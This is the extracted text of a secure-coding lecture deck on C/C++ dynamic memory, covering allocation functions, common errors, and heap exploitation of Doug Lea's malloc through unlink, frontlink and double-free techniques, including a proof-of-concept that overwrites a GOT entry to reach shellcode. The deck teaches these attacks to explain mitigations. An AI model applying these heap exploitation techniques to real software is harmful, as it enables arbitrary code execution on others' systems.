Dynamic Memory Management Secure Coding in C and C++

Agenda Programmer View of Dynamic Memory Common Errors Dynamic memory functions Dynamic memory manager Common Errors Common Implementations and Exploits Doug Lea’s Memory Allocator RtlHeap Mitigation Strategies

Dynamic Memory Interface Memory allocation in C: calloc() malloc() realloc() Deallocated using the free() function. Memory allocation in C++ using the new operator. Deallocated using the delete operator.

Dynamic Memory Interface malloc(size_t size); Allocates size bytes and returns a pointer to the allocated memory. The memory is not cleared. free(void * p); Frees the memory space pointed to by p, which must have been returned by a previous call to malloc(), calloc(), or realloc(). If free(p) has already been called before, undefined behavior occurs. If p is NULL, no operation is performed.

Dynamic Memory Interface realloc(void *p, size_t size); Changes the size of the memory block pointed to by p to size bytes. The contents will be unchanged to the minimum of the old and new sizes. Newly allocated memory will be uninitialized. If p is NULL, the call is equivalent to malloc(size). if size is equal to zero, the call is equivalent to free(p). Unless p is NULL, it must have been returned by an earlier call to malloc(), calloc(), or realloc().

Dynamic Memory Interface calloc(size_t nmemb, size_t size); Allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero.

Memory Managers Manage both allocated and deallocated memory. Run as part of the client process. Use a variant of the dynamic storage allocation algorithm described by Knuth. Memory allocated for the client process and memory allocated for internal use, is all within the addressable memory space of the client process.

Memory Managers Different Algorithms for Memory Allocation Sequential Fit Methods Look for first free area that fits. current pointer circular linked list of blocks

Memory Managers Different Algorithms for Memory Allocation First Fit Look for first free area that fits from start of memory. circular linked list of blocks

Memory Managers Different Algorithms for Memory Allocation Best Fit Look for the tightest fit. circular linked list of blocks

Memory Managers Different Algorithms for Memory Allocation Optimal Fit Sample the ring of free blocks. Then choose the first block better than the sample. Goes back to the optimal marriage strategy. (As developed by Mathematicians, so apply at your own risk)1: Date n girls. Date more girls, but marry the one better than the previous n girls. Stop dating. Optimal if you can date a total of 2n girls. Small chance that you end up with the worst. The author, the Department of Computer Engineering, the School of Engineering, Santa Clara University strongly advise: Consult your own personal marriage consultant before following this advise. Negative effects can arise. Participants are not guaranteed to be married to the best girl. Girls may get together and dump on you. …. Ranking possible marriage partners might be considered degrading.

Memory Managers Different Algorithms for Memory Allocation Worst fit Pick the biggest free block.

Memory Managers Different Algorithms for Memory Allocation Buddy System Methods Previous methods can lead to fragmentation. Buddy systems only allocate blocks of size 2i. If request is for block of size m, allocate instead block of size 2[logb m]+1 or – if necessary – larger. When blocks are returned, try to coalesce them with their buddy, an adjacent block of the same size.

Memory Managers Buddy System Example coalesce

Memory Managers Different Algorithms for Memory Allocation Segregation Maintain separate lists of blocks of uniform size.

Memory Managers Memory managers return freed blocks a.s.a.p. into the pool. coalesce adjoining free blocks into larger blocks. sometimes use compacting of reserved blocks. Moves all blocks together.

Common Dynamic Memory Errors Initialization errors Failing to check return values Writing to already freed memory Freeing the same memory multiple times Improperly paired memory management functions Failure to distinguish scalars and arrays Improper use of allocation functions

Common Dynamic Memory Errors Initialization Programmer assumes that malloc() zeroes block. Initializing large blocks of memory can impact performance and is not always necessary. Programmers have to initialize memory using memset() or by calling calloc(), which zeros the memory.

Common Dynamic Memory Errors Initialization /* return y = Ax */ int *matvec(int **A, int *x, int n) { int *y = malloc(n * sizeof(int)); int i, j; for (i = 0; i < n; i++) for (j = 0; j < n; j++) y[i] += A[i][j] * x[j]; return y; } y[i] is initially zero, right?

Common Dynamic Memory Errors Initialization tar program on Solaris 2.0 included fragments of the /etc/passwd file.

Common Dynamic Memory Errors Failing to Check Return Values Memory is a limited resource and can be exhausted. Memory allocation functions report status back to the caller. VirtualAlloc() returns NULL Microsoft Foundation Class Library (MFC) operator new throws CMemoryException HeapAlloc() may return NULL or raise a structured exception. The application programmer should: determine when an error has occurred. handle the error in an appropriate manner.

Common Dynamic Memory Errors Failing to Check Return Values Standard malloc() function returns a NULL pointer if the requested space cannot be allocated. When memory cannot be allocated a consistent recovery plan is required: Even if the program just terminates with an error message

Common Dynamic Memory Errors Failing to Check Return Values PhkMalloc provides an X option that instructs the memory allocator to abort() the program with a diagnostic message on standard error rather than return failure. This option can be set at compile time by including in the source: extern char *malloc_options; malloc_options = "X“.

Common Dynamic Memory Errors Failing to Check Return Values malloc returns a null pointer if no memory can be allocated. new operator in C++ throws a bad_alloc exception. Using new, encapsulate the allocation in a try block.

Common Dynamic Memory Errors Failing to Check Return Values Checking for return value of malloc int *i_ptr; i_ptr = (int *)malloc(sizeof(int)*nelements_wanted); if (i_ptr != NULL) { i_ptr[i] = i; } else {      /* Couldn't get the memory - recover */ }

Common Dynamic Memory Errors Failing to Check Return Values Exception handling for new operator try { int *pn = new int; int *pi = new int(5); double *pd = new double(55.9); int *buf = new int[10];    . . . } catch (bad_alloc) {    // handle failure from new

Common Dynamic Memory Errors Failing to Check Return Values This does NOT work! int *pn = new int; if (pn) { … } else { … } if condition is always true, regardless of success of memory allocation.

Common Dynamic Memory Errors Failing to Check Return Values Using the nothrow variant of new works like malloc: int *pn = new(nothrow) int; if (pn) { … } else { … }

Common Dynamic Memory Errors Referencing freed memory Usually works, since memory is not immediately reused. wrong: accessing freed memory for (p = head; p != NULL; p = p->next) free(p); correct: using a temp variable for (p = head; p != NULL; p = q) { q = p->next; free(p); }

Common Dynamic Memory Errors Referring to freed memory Unlikely to result in a runtime error because memory is owned by the memory manager of the program. Freed memory can be allocated before a read. Read reads incorrect values. Writes destroy some other variable. Freed memory can be used by the memory manager. Writes can destroy memory manager metadata. Difficult to diagnose run-time errors. Basis for an exploit

Common Dynamic Memory Errors Freeing memory multiple times Often result of a cut-paste on code. x = malloc(n * sizeof(int)); /* manipulate x */ free(x); y = malloc(n * sizeof(int)); /* manipulate y */

Common Dynamic Memory Errors Freeing memory multiple times Data structures can contain links to the same item. Example: (What happens if both lists are freed?)

Common Dynamic Memory Errors Freeing memory multiple times Error processing Same memory chunk might be freed by the error handler and by the throwing try block. In general: Memory leaks are safer than double frees.

Common Dynamic Memory Errors Improperly failed memory management functions Always use new  delete malloc  free Improper pairing can work on some platforms sometimes, but code is not portable.

Common Dynamic Memory Errors Failure to distinguish scalars and arrays C++ has different operators for scalars and arrays new  delete for scalars new[]  delete[] for arrays

Common Dynamic Memory Errors Improper use of allocation functions malloc(0) Can lead to memory management errors. A C runtime library can return a NULL pointer or return a pseudo-address The safest and most portable solution is to ensure zero-length allocation requests are not made.

Common Dynamic Memory Errors Improper use of allocation functions Using alloca() Function: Allocates memory in the stack frame of the caller. Automatically freed when function calling alloca() returns. Definition: Is NOT defined in POSIX, SUSv3, C99. But available on some BSD, GCC, Linux distributions. Problems: Often implemented as an in-line function. Does not return null error. Can make allocations larger than stack. Confused programmers can call free

dlmalloc Doug Lea’s malloc default for gcc and on most versions of Linux Description if for dlmalloc 2.7.2, but vulnerabilities are the same for other versions.

dlmalloc dlmalloc manages chunks of memory Free (aka unallocated)

dlmalloc The first four bytes of allocated chunks contain the last four bytes of user data of the previous chunk. The first four bytes of free chunks contain the size of the previous chunk in the list.

dlmalloc Free chunks Organized in double linked lists. Contain forward and backward pointers to the next and the previous chunk. Chunk size stored in the last four B. Allocated and free chunks are distinguished by the PREV_INUSE bit. Chunk sizes are always even, PREV_INUSE bit is the low order bit of the chunk size.

dlmalloc PREV_INUSE PREV_INUSE The first four bytes of allocated chunks contain the last four bytes of user data of the previous chunk. The first four bytes of free chunks contain the size of the previous chunk in the list.

dlmalloc Free chunks are kept in bins. Addressed by head. Chunks in bins are of approximately same size. Additional bin for recently freed memory.

dlmalloc During free() Memory chunks are consolidated, if possible. Merged with adjacent free chunk. Chunk before is free: Merge with that chunk. Chunk after is free: Take that chunk of list. Merge with current chunk.

dlmalloc Unlink Macro #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ }

dlmalloc

dlmalloc Unlink Technique Introduced by Solar Designer. Used against versions of Netscape browsers Traceroute slocate Uses a buffer overflow to manipulate the boundary tags on chunks of memory To trick the unlink macro into writing four bytes of data to an arbitrary location. We have seen how dangerous this is.

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } Memory allocation chunk 1 Memory allocation chunk 2 Memory allocation chunk 3

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } The program accepts a single string argument that is copied into first This unbounded strcpy() operation is susceptible to a buffer overflow.

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } the program calls free() to deallocate the first chunk of memory

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } If the second chunk is unallocated, the free() operation will attempt to consolidate it with the first chunk.

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } To determine whether the second chunk is unallocated, free() checks the PREV_INUSE bit of the third chunk

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } The location of the third chunk is calculated from the size of the second chunk

dlmalloc Exploit Example Use the Size Field to Find the Start of the Next Chunk (and the P-bit)

dlmalloc Exploit Example Malicious argument used in the unlink technique

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } The argument overwrites the previous size field, size of chunk, and forward and backward pointers in the second chunk— altering the behavior of the call to free()

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } The size field in the second chunk is overwritten with the value -4 so that when free() attempts to determine the location of the third chunk by adding the size field to the starting address of the second chunk, it instead subtracts 4

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } Doug Lea’s malloc now mistakenly believes that the start of the next contiguous chunk is 4 bytes before the start of the second chunk.

dlmalloc Exploit Example #include <stdlib.h>  #include <string.h>  int main(int argc, char *argv[]) { char *first, *second, *third;   first = malloc(666);   second = malloc(12); third = malloc(12);   strcpy(first, argv[1]);   free(first); free(second); free(third); return(0);  } The malicious argument makes sure that the location where dlmalloc finds the PREV_INUSE bit is clear, tricking dlmalloc into believing the second chunk is unallocated—so the free() operation invokes the unlink() macro to consolidate the two chunks

dlmalloc Exploit Example #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } The first line of unlink, FD = P->fd, assigns the value in P->fd (which has been provided as part of the malicious argument) to FD

dlmalloc Exploit Example #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } The second line of the unlink macro, BK = P->bk, assigns the value of P->bk, which has also been provided by the malicious argument to BK

dlmalloc Exploit Example #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } The third line of the unlink() macro, FD->bk = BK, overwrites the address specified by FD + 12 (the offset of the bk field in the structure) with the value of BK

dlmalloc The unlink() macro writes four bytes of data supplied by an attacker to a four-byte address also supplied by the attacker.

dlmalloc Easy to execute arbitrary code with the permissions of the vulnerable program. Provide the address of the instruction pointer on the stack and use the unlink() macro to overwrite the address with the address of malicious code. Overwrite the address of a function called by the vulnerable program with the address of malicious code. Examine the executable image to find the address of the jump slot for the free() library call. The address - 12 is included in the malicious argument so that the unlink() method overwrites the address of the free() library call with the address of the shellcode. The shellcode is then executed instead of the call to free().

dlmalloc Exploitation of buffer overflow is not difficult. Difficult to determine the size of the first chunk so that the boundary tag for the second argument can be precisely overwritten. An attacker can copy and paste the request2size(req,nb) macro from dlmalloc into his or her exploit code and use this macro to calculate the size of the chunk.

dlmalloc Frontlink Technique More difficult Equally dangerous When a chunk of memory is freed, it must be linked into a bin (double-linked list) When a chunk of memory is freed, it must be linked into the appropriate double-linked list. In some versions of dlmalloc, this is performed by the frontlink() code segment. This is our target. Write data supplied by the attacker to an address also supplied by the attacker.

dlmalloc Frontlink Technique The attacker: Supplies the address of a memory chunk and not the address of the shell code, Arranges for the first four bytes of this memory chunk to contain executable code. This is accomplished by writing these instructions into the last four bytes of the previous chunk in memory.

dlmalloc Frontlink technique: frontlink code segment BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P

dlmalloc copy argv[2] into the first chunk #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); copy argv[2] into the first chunk

dlmalloc Attacker provides malicious argument Contains shellcode Last 4 bytes of the shellcode are the jump instruction into the rest of the shellcode These four bytes are the last four bytes of the first chunk. Chunk being attacked must be a multiple of 8B minus 4B long.

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); When the fifth chunk is freed it is put into a bin

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); The fourth chunk in memory is seeded with carefully crafted data (argv[1]) so that it overflows. The address of a fake chunk is written into the forward pointer of the fifth chunk.

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); This fake chunk contains the address of a function pointer (minus 8) in the location where the back pointer is normally found. A suitable function pointer is the first destructor function stored in the .dtors section of the program.

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); An attacker can discover this address by examining the executable image.

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); When the second chunk is freed, the frontlink() code segment inserts it into the same bin as the fifth chunk.

dlmalloc Frontlink technique: frontlink code segment Second is smaller than fifth BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P The While loop is executed in the frontlink() code segment

dlmalloc Frontlink technique: frontlink code segment BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P The forward pointer of the fifth chunk is stored in the variable FD

dlmalloc Frontlink technique: frontlink code segment The back pointer of this fake chunk is stored in the variable BK BK now contains the address of the function pointer (minus 8) The function pointer is overwritten by the address of the second chunk. BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P

dlmalloc Frontlink technique: frontlink code segment BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P BK now contains the address of the function pointer (minus 8) The function pointer is overwritten by the address of the second chunk.

dlmalloc Frontlink technique: frontlink code segment The back pointer of this fake chunk is stored in the variable BK BK now contains the address of the function pointer (minus 8) The function pointer is overwritten by the address of the second chunk. BK = bin; FD = BK->fd; if (FD != BK) {       while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk; P->bk = BK; P->fd = FD; FD->bk = BK->fd = P

dlmalloc #include <stdlib.h> #include <string.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc !=3){ printf("Usage: prog_name arg1 \n"); exit(-1); } char *first, *second, *third; char *fourth, *fifth, *sixth; first = malloc(strlen(argv[2]) + 1); second = malloc(1500); third = malloc(12); fourth = malloc(666); fifth = malloc(1508); sixth = malloc(12); strcpy(first, argv[2]); free(fifth); strcpy(fourth, argv[1]); free(second); return(0); The call of return(0) causes the program’s destructor function to be called, but this executes the shellcode instead.

dlmalloc Frontlink technique Difficult to execute No known exploits in the wild

dlmalloc Double Free Vulnerability This vulnerability arises from freeing the same chunk of memory twice, without it being reallocated in between. For a double-free exploit to be successful, two conditions must be met: The chunk to be freed must be isolated in memory. The bin into which the chunk is to be placed must be empty.

dlmalloc Empty Bin and Allocated Chunk The empty bin consists only of a header. There is no connection with the allocated chunk.

dlmalloc After the chunk is freed, it is put into the bin. After the call to frontlink, the bin’s forward and backward pointer point to the freed chunk.

dlmalloc The second call to free on this chunk corrupts the bin structure.

dlmalloc This structure is exploitable. Real-world examples exist (see later). The technique is difficult. Freed chunks are not immediately put into a bin, but are cached. The double-freed chunk could be consolidated with other chunks.

The target of this exploit is the first chunk allocated 1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } The target of this exploit is the first chunk allocated When first is initially freed, it is put into a cache bin rather than a regular one

Freeing the third chunk moves the first chunk to a regular bin. 1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } Allocating the second and fourth chunks prevents the third chunk from being consolidated Freeing the third chunk moves the first chunk to a regular bin.

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } Allocating the fifth chunk causes memory to be split off from the third chunk and, as a side effect, this results in the first chunk being moved to a regular bin

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } Memory is now configured so that freeing the first chunk a second time sets up the double-free vulnerability

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } When the sixth chunk is allocated, malloc() returns a pointer to the same chunk referenced by first

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } The GOT address of the strcpy() function (minus 12) and the shellcode location are copied into this memory (lines 22-23),

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } The same memory chunk is allocated yet again as the seventh chunk on line 24

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } when the chunk is allocated, the unlink() macro has the effect of copying the address of the shellcode into the address of the strcpy() function in the global offset table

When strcpy() is called control is transferred to the shell code. 1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } When strcpy() is called control is transferred to the shell code. The shellcode jumps over the first 12 bytes because some of this memory is overwritten by unlink

1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(sixth+4))=(void *)shellcode_location; 24.   seventh = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } write to the first chunk on lines 18-19 after it has been freed on line 15.

dlmalloc Double free vulnerability is difficult to exploit, but it has been done. Writing to freed memory can also results into a vulnerability.

dlmalloc Writing to freed memory can also lead to vulnerabilities Almost identical example

